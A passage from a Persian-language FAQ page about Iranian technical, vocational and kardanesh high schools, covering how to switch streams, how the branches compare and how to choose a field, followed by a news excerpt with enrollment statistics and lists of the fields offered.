    امکان تغییر رشته به هنرستان های فنی و حرفه ای فقط برای کسانی است که سال دوم را تمام کرده باشند.
    اما اگر سال سوم را خوانده باشید حتی اگر قبول هم نشده باشید دیگر امکان تغییر رشته به فنی و حرفه ای برای شما وجود ندارد.
    چنین افرادی در صورت تمایل می توانند به یکی از روش های زیر در رشته دیگری ادامه تحصیل دهند:
    ۱- می توانید واحدهای گذرانده خود را برای ورود به مدارس بزرگسالان کاردانش تطبیق داده و در یکی از رشته های کاردانش دیپلم بگیرید و سپس در کنکور کاردانی شرکت کرده و وارد دانشگاه شوید.
    ۲- رشته خودتان را تمام کنید (دیپلم آنرا اخذ نمایید) سپس برای گرفتن دیپلم دوم در کاردانش اقدام نمایید. شرایط اخذ دیپلم دوم در قسمت سوالات پرتکرار بیان شده است.

  33. چه تفاوتهایی بین هنرستان های فنی و حرفه ای و هنرستانهای کاردانش وجود دارد؟

    از نظر رشته ها و تنوع آنها تفاوت زیادی بین هنرستان های کاردانش و فنی و حرفه ای نیست و اغلب رشته ها در هر دو شاخه مشابه هستند. اما از نظر دروس ارائه شده و ادامه تحصیل تفاوت های زیادی با هم دارند.
    دانش آموزانی که در کاردانش درس می خوانند بیشتر زمان خود را با دروس عملی و در کارگاه ها می گذرانند و معمولا این افراد بعد از گرفتن دیپلم جذب بازار کار شده و هدفشان ادامه تحصیل و ورود به دانشگاه نمی باشد هرچند مسیر ادامه تحصیل برایشان بسته نیست. اما دانش آموزان فنی و حرفه ای علاوه بر دروس عملی و کارگاهی، دروس تئوری را نیز در سطح بالایی فرا می گیرند و معمولا هدف این افراد ادامه تحصیل در سطوح عالی است.
    لازم به ذکر است آزمون کنکور که برای فارغ التحصیلان کاردانش و فنی و حرفه ای برگزار می شود، یکسان می باشد و منبع سوالات آزمون، کتابهای فنی و حرفه ای می باشد.
    از نظر سطح درسی نیز معمولا توصیه می شود دانش آموزان مستعد تر در شاخه فنی و حرفه ای ادامه تحصیل دهند.

  34. در بین رشته های هنرستان فنی و حرفه ای کدام رشته بهتر است؟

    به طور کلی نمی توان گفت چه رشته ای خوب یا بد است چرا که اگر ذاتا یک رشته بد باشد وجود آن در هنرستان ها بی معنی خواهد بود.
    معمولا انتخاب رشته شما باید بر اساس علاقه و شرایط خودتان باشد تا بتوانید نهایت پیشرفت را در رشته مورد نظر داشته باشید و در این صورت در آینده همان رشته از نظر شما بهترین خواهد بود. در ضمن دانش آموز هنرستانی باید سعی کند در طول زمان تحصیل خودش را با نرم افزار ها و ابزارهای جدید رشته خود آشنا کند تا پس از فارغ التحصیلی از نظر بازار کار مشکل نداشته باشند.
    به عبارتی در هر رشته ای ممکن است افرادی بیکار مانده باشند در حالی که عده ای سریعا جذب بازار کار شده اند که مسلماً توانایی این افراد از نظر علمی و تجربی با هم متفاوت بوده است. دانش آموزان باید توجه داشته باشند که فقط گرقتن مدرک یک رشته، نمی تواند برای کار آینده ملاک باشد و هر شخص باید بتواند قابلیتهایی در خودش ایجاد کند که او را از دیگران متمایز نماید.
    به همین دلیل سوال “چه رشته ای بهتر است؟” می تواند پاسخ های متفاوت داشته باشد که هر کدام دلایل منطقی دارند.

  35. شرایط تغییر رشته از دبیرستان به هنرستان چیست؟

    اصولا کسانی که می خواهند از شاخه نظری (ریاضی، تجربی، انسانی) به هر رشته ای از هنرستان فنی و حرفه ای تغییر رشته دهند، به دو طریق می توانند عمل کنند:
    ۱- با گذراندن پایه دوم نظری به یکی از هنرستان های منطقه معرفی شده و به همراه امتحانات شهریور آن هنرستان دروس تخصصی سال دوم رشته مورد نظر خود را امتحان دهند که معمولا ۵ یا ۶ درس می باشند. گذراندن پایه دوم نظری و همچنین دروس تغییر رشته شهریور ماه به منزله گذراندن پایه دوم هنرستان می باشد و شخص می تواند در پایه سوم هنرستان ادامه تحصیل دهد.

    ۲- دانش آموز می تواند پایه دوم خود را در هنرستان تکرار نماید. این مسیر برای دانش آموزانی که از نظر درسی بخواهند دریافت بهتری داشته باشند مناسب می باشد. چراکه گذراندن دروس تخصصی پایه دوم در فاصله کوتاه تابستان نمی تواند به اندازه کار یکساله دانش آموز را آماده نماید و ممکن است در روند سال سوم او نیز تاثیر منفی داشته باشد.

  36. بین هنرستان و دبیرستان کدام بهتر است؟

    اصولا برای دانش آموز سطح بالا و اصطلاحا درس خوان هر دو مسیر (دبیرستان و هنرستان) به موفقیت می انجامد. اما برای کسانی که رغبت زیادی به خواندن درس های فقط تئوری ندارند و به کارهای عملی نیز علاقه دارند، قطعا مسیر دبیرستان نمی تواند موفقیت را تضمین کند.
    به طور مثال اگر شخصی بخواهد در یک مهندسی مشخص ادامه تحصیل دهد، معلوم نیست که از مسیر ریاضی و در رقابت کنکور بتواند همان رشته را قبول شود و یا شاید بالاجبار در رشته ای قبول شود که علاقه ای به آن ندارد. ولی از مسیر هنرستان فنی و حرفه ای انتخاب رشته به دلخواه انجام می شود و ورود به دانشگاه و ادامه تحصیل تا هر مقطعی براحتی امکان پذیر است.
    به طور خلاصه اگر شخص از قبول شدن در رشته مورد نظر خود اطمینان دارد انتخاب رشته های دبیرستان عالی است. در غیر اینصورت بهترین کار ورود به هنرستان و ادامه تحصیل دانشگاهی از مسیر هنرستان های فنی و حرفه ای است.
    در ضمن به اعتقاد خیلی از کارشناسان سطح دروس عملی و تخصصی هنرجویان هنرستانی در دانشگاه از سایرین بالاتر است. چراکه این افراد در طول دوره هنرستان نیز با دروس رشته دانشگاهی خود درگیر بوده اند.
    تفاوت اساسی هنرستان فنی و حرفه ای با دبیرستان در این است که فارغ التحصیلان دبیرستان بعد از گذراندن دوره پیش دانشگاهی و قبولی در کنکور انتخاب رشته می کنند ولی دانش آموز هنرستان باید رشته خود را بعد از سال اول تعیین کرده و ۲ سال در رشته دلخواه خود درس بخواند و همان رشته را هم در داتشگاه ادامه دهد.
    همچنین دانش آموزانی دبیرستانی باید دوره پیش دانشگاهی را نیز بگذرانند ولی هنرستانی ها بدون گذراندن این دوره (یک سال زودتر) به دانشگاه راه می یابند.

    1. دوست عزیزم سلام
      امسال کنکور برای بعضی از رشته هایی چون طراحی دوخت و صنایع شیمیایی و ساختمان حذف شد. امسال هم برای بعضی از رشته ها قراره حذف بشه اما زودتر از اردیبهشت۹۶ که زمان ثبت نام هست ؛ اعلام نخواهد شد.
      برای اطلاع کامل از تمامی رشته ها میتونید به دفترچه کنکور کاردانی ۹۵ مراجعه کنید.
      لینک دفترچه را استاد محمدی براتون خواهند گذاشت.
      موفق و پیروز باشید.

  37. مدیرکل دفتر کاردانش وزارت آموزش‌وپرورش گفت: فارغ‌التحصیلان رشته‌های کاردانش هنرستان‌ها تسهیلات ویژه دریافت می‌کنند.

    به گزارش خبرنگار آموزش و پرورش پانا، سید مصطفی آذر کیش در مراسم اختتامیه دهمین جشنواره مهارت‌های هنری هنرستان های کاردانش کشور با اشاره به اینکه ۴۰۰ هزار هنرجو در رشته‌های کاردانش مشغول به تحصیل هستند، بیان کرد: ۱۵۰ رشته به هنرستان‌های سراسر کشور ابلاغ شده است.

    آذر کیش اظهار داشت: سهم هنرجویان هنرستان‌ها در رشته‌های صنعتی، ۴۹ درصد، در کشاورزی پنج درصد و در خدمات ۴۶ درصد است. وی افزود: از کل ۱۵۰ رشته، ۵۸ رشته در بخش صنعت، ۳۲ رشته در کشاورزی، ۱۱ رشته در خدمات و ۴۹ رشته در هنر دایر است. مدیرکل دفتر کاردانش وزارت آموزش‌ و پرورش به عقد تفاهم‌نامه با ۱۰ دستگاه اجرایی برای توسعه رشته‌ها اشاره کرد و افزود: تسهیلات مختلفی برای هنرجویان پیش‌بینی شده است. به گفته آذرکیش هنرجویان در ۱۱۰ رشته از رشته‌های مهارتی برای پروانه کسب نیاز به سپری کردن آزمون نیستند و انتظار می‌رود این امکان به شکل مطلوب استفاده شود. وی با اشاره به برگزاری دهمین دوره جشنواره مهارت‌های هنری کاردانش با هدف معرفی پتانسیل‌های رشته ‌های کار دانش تأکید کرد: در مرحله منطقه‌ای این جشنواره ۱۱ هزار و ۳۵۷ برگزیده، در مرحله استانی هشت هزار و ۲۱۳ منتخب، در مرحله داوری ۳۸۷ منتخب و در مرحله کشوری ۱۲۴ منتخب برگزیده شدند. وی با بیان اینکه ۱۱۷ نفر از برگزیدگان دختر و فقط هفت نفر پسر است اضافه کرد: بیشترین آثار واصله به جشنواره در رشته گرافیک بوده و بیشترین اثر از شهر تهران ارسال شده

  38. دانش آموزان در صورت تمایل به دست آوردن مهارت‌های فنی یا هنری پس از پایان سال نخست دبیرستان به هنرستان می‌روند. هنرستان یک دوره ۲ ساله آموزش فن و هنر است و بیش از ۱۰۰ رشته مختلف دارد.

    افرادی که هنرستان را به پایان می‌رسانند بدون گذراندن دوره پیش دانشگاهی می‌توانند در کنکور کاردانی پیوسته (فوق دیپلم) شرکت کنند. در صورت تمایل امکان ادامه تحصیل در مقاطع بالاتر وجود دارد. شهر تبریز (شهر اولین‌ها) در موردهنرستان نیز قدیمی‌ترین آنها را داراست که تعدادی از آنها توسط آلمانی‌ها ساخته شده است مانند هنرستان فنی وحدت واقع در باغ گلستان و سایر هنرستان‌هایی جدید که علاوه بر فنی، حرفه‌ای و کاردانش نیز هستند نظیر هنرستان همت واقع در ولیعصر

    رشته‌ها در دوره فنی و حرفه‌ای
    زمینه خدمات:
    گروه بهداشت: کودکیاری
    گروه مدیریت خانواده: مدیریت خانواده
    گروه اداری و مالی: حسابداری بازرگانی
    گروه کامپیوتر: کامپیوتر
    گروه هنر: انیمیشن، سینما، صنایع دستی، طراحی و دوخت، مرمت آثار فرهنگی، موسیقی مبانی آهنگسازی، موسیقی نوازندگی سازهای ایرانی، موسیقی نوازندگی ساز جهانی، نقاشی، نقشه‌کشی معماری، نمایش، پشتیبانی صحنه، چاپ دستی، گرافیک
    زمینه صنعت:
    گروه برق: الکترونیک، الکترو تکنیک
    گروه علوم و فنون دریایی: الکترونیک و مخابرات دریایی، مکانیک موتورهای دریایی، ناوبری
    گروه عمران: ساختمان، نقشه‌برداری
    گروه مواد: سرامیک، صنایع شیمیایی، صنایع نساجی، متالوژی، معدن
    گروه مکانیک: تأسیسات، ساخت و تولید، صنایع فلزی، صنایع چوب و کاغذ، مکانیک خودرو، نقشه‌کشی عمومی، چاپ
    زمینه کشاورزی:
    امور دامی، امور زراعی و باغی، صنایع غذایی، ماشین‌های کشاورزی

    رشته‌ها در دوره کار دانش
    زمینهٔ صنعت

    گروه برق
    الکتروتکنیک: برق ساختمان، برق صنعتی، برق ماشین آلات، تابلوسازی برق صنعتی، تعمیر وسایل برقی خانگی، شبکه‌های هوایی، ماشین‌های الکتریکی، نصب و سرویس آسانسور
    الکترونیک :الکترونیک صنعتی، تعمیر تلویزیون رنگی، تعمیر دستگاه‌های پزشکی، تعمیر ماشینهای اداری، تعمیرتلفنهای رومیزی و همراه، سیسمتهای صوتی تصویری
    کنترل: اتوماسیون صنعتی، تعمیرابزار دقیق، میکروکنترولر AVR

    گروه سرامیک
    سفالگری :سفال و لعاب، سفالگری، معرق کاشی، کاشی سازی هفت رنگ
    صنایع شیشه‌ای :شیشه گری، شیشه گری آزمایشگاهی، عینک سازی (اپتیک)

    گروه شیمی
    شیمی صنعتی:آبکاری فلزات، فرآوری چرم

    گروه عمران:

    ساختمان: بتنکاری ساختمان، ساختمان سازی، سنگ و کاشی کاری، کارهای عمومی ساختمان، کارهای فلزی ساختمان
    معماری:تزئینات داخلی ساختمان، طراحی معماری داخلی، معماری آیینه کاری، معماری داخلی، نقشه‌کشی ساختمان، هنر آینه کاری

    گروه مواد
    سرامیک: سرامیک سازی
    متالوژی : ریخته‌گری، مدلسازی

    گروه مکانیک
    تأسیسات:آبگرمکن خورشیدی، تأسیسات بهداشتی ساختمان، تأسیسات تهویه مطبوع ساختمان، تأسیسات حرارتی برودتی، تأسیسات گازرسانی، تأسیسات گرمایی ساختمان، تعمیر دستگاه‌های گازسوز، تعمیر چیلرتراکمی، تعمیرپمپ و شیر، دستگاه‌های سردکننده
    ساخت و تولید: ساخت ابزار، ساخت ادوات، فرزکاری CNC، تراشکاری CNC، جوشکاری، قالب سازی فلزی، نقشه‌کشی صنعتی به کمک رایانه، مکانیک صنعتی، پلاستیک کاری، تعمیر ماشین ابزار
    سازه‌های فلزی: بازرسی جوش اسکلت فلزی، جوشکاری برق، جوشکاری برق و گاز، جوشکاری گاز، جوشکاری گاز محافظ ۲OC، درو پنجره سازی آلومینیومی، درو پنجره سازی آهنی، ورقکاری
    صنایع دریایی: ساخت شناور فایبرگلاس
    صنایع چوبی:تزئینات داخلی چوبی، رنگ کاری مصنوعات چوبی، ساخت شناورهای چوبی صیادی، کابینت سازی چوبی، کاربری دستگاه CNC چوب
    عیب یابی و تعمیر: تعمیر برق اتومبیل، تعمیر ماشینهای راهسازی، تعمیر موتور خودرو، تعمیر موتور دیزل دریایی، تعمیر موتور و برق خودرو، تعمیر موتورسیکلت، تعمیربدنه اتومبیل، تعمیرخودروهای تجاری، تعمیرموتور قایق، خدمات فنی خودرو، صافکاری نقاشی خودرو
    معدن :استخراج معدن، فرآوری سنگ
    نساجی: ریسندگی، قالی بافی ماشینی، نساجی عمومی
    چاپ : چاپ افست

    زمینهٔ خدمات
    حمل و نقل: حمل ونقل هوایی
    خدمات اجتماعی: آتشنشانی، هتلداری و سیاحتی، پیرایشگری
    خدمات غذایی: آشپزی ، کنترل تولید مواد
    صنایع دستی: صنایع دستی ظریف، هنرفرش
    کامپیوتر : کامپیوتر
    مالی و اداری: امور اداری، امور بازرگانی، امور مالی
    هنر: فرهنگی ادبی، کارهای هنری درخانه، موسیقی، هنرهای تجسمی، هنرهای نمایشی
    پوشاک: خیاطی، کفش و سراجی
    بهداشت و درمان: پیراپزشکی
    زمینهٔ کشاورزی
    امور باغی : درختکاری، سبزیکاری، فضای سبز، گل کاری
    امور دام و طیور: بهداشت دام و طیور، دام، طیور
    امور زراعی : زراعت، گیاهان دارویی
    جنگل و مرتع: آبخیزداری، جنگل، جنگل و مرتع، مرتع
    حشراتت مفید: زنبور عسل، کرم ابریشم
    شیلات: آبزیان
    صنایع غذایی : فراورده‌های آبزیان، فراورده‌های دامی
    ماشین‌های کشاورزی: تعمیر ماشینهای کشاورزی، کاربری ماشینهای کشاورزی

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

رمز امنیتی *